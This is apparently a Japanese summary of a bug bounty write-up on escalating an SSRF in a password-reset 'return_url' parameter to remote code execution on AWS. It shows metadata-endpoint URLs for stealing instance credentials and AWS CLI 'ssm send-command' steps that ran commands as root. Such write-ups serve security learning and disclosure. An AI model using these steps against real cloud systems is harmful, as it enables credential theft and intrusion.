Hello there, ('ω')ノ
脆弱性:
SSRF
RCE
パスワードのリセット
記事:
https://logicbomb.medium.com/a-bug-worth-1-75lacs-aws-ssrf-to-rce-8d43d5fda899
インドで成長しているトレーディング スタートアップの 1 つで。
リモート コード実行 (RCE) を実行する方法を。
アプリのさまざまなセクションに手動で移動して。
機密性の高い API エンドポイントを探していて。
並行して、ターゲット スコープを Burp Suite の「Crawl and Audit」に追加して。
アプリには、通常の「パスワード リセット」機能があり。
エンドポイントをよく見ると「return_url」というパラメータがあり。
このようなパラメータには、簡単に見つけられるバグが含まれる可能性が常にあり。
そして、Burp Suite が同じエンドポイントで。
「外部サービス インタラクション (DNS)」の脆弱性を発見したとき。
自分の期待は正しかったことが証明され。
さまざまな HTTP リクエスト ヘッダをチェックしているときに。
レスポンス ヘッダが X-Amz-Cf-Id であることがわかり。
プロファイル写真を取得するための S3 バケットのやり取りもあったため。
アプリケーションが AWS 経由であることは明らかで。
次の動きは、SSRF が可能かどうかを確認することで。
AWS メタデータ URL (http://169.254.169.254/latest/meta-data/) に。
アクセスしてみましたが、以下は CURL 要求に対する応答で。
インスタンスのメタデータからセキュリティ認証情報を取得していて。
それはSSRFを確認することに。
AWS は、AWS システム マネージャと呼ばれるサービスを提供して。
インフラストラクチャを管理し。
これは、コマンドライン ツールでも使用できて。
https://docs.aws.amazon.com/cli/latest/reference/ssm/index.html
ここで気に入ったのは、SSM を介してインスタンスでリモート コマンドを。
実行するには関連するロールがインスタンスに関連付けられている必要があることで。
1.上記のセキュリティ認証情報を使用して、AWS CLI をインストールして設定して。
$ export AWS_ACCESS_KEY_ID=
$ export AWS_SECRET_ACCESS_KEY=
$ export AWS_DEFAULT_REGION=
$ export AWS_SESSION_TOKEN=
2.以下のコマンドを使用して。
最初のステップで使用されたリージョンを見つけることができ。
http://169.254.169.254/latest/meta-data/placement/availability-zone
3.send-command を使用してコマンドを実行し。
クエリは次のようになり。
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "AnyComment" --instance-ids="[Instance-id]" --parameters "commands=whoami"
このコマンドの出力は CommandId を提供し。
4.3番目のステップで使用されるインスタンス ID を取得するには。
http://169.254.169.254/latest/meta-data/instance-id
5.実行されたコマンドの出力を確認するための最終ステップ。
(ステップ 3 の「whoami」で使用)
$ aws ssm list-command-invocations --command-id="[Command_Id]" --details
ついにコマンドを実行することができ、 出力は「root」として表示され。
これが、AWS SSRF を RCE にエスカレートする方法で。
Best regards, (^^ゞ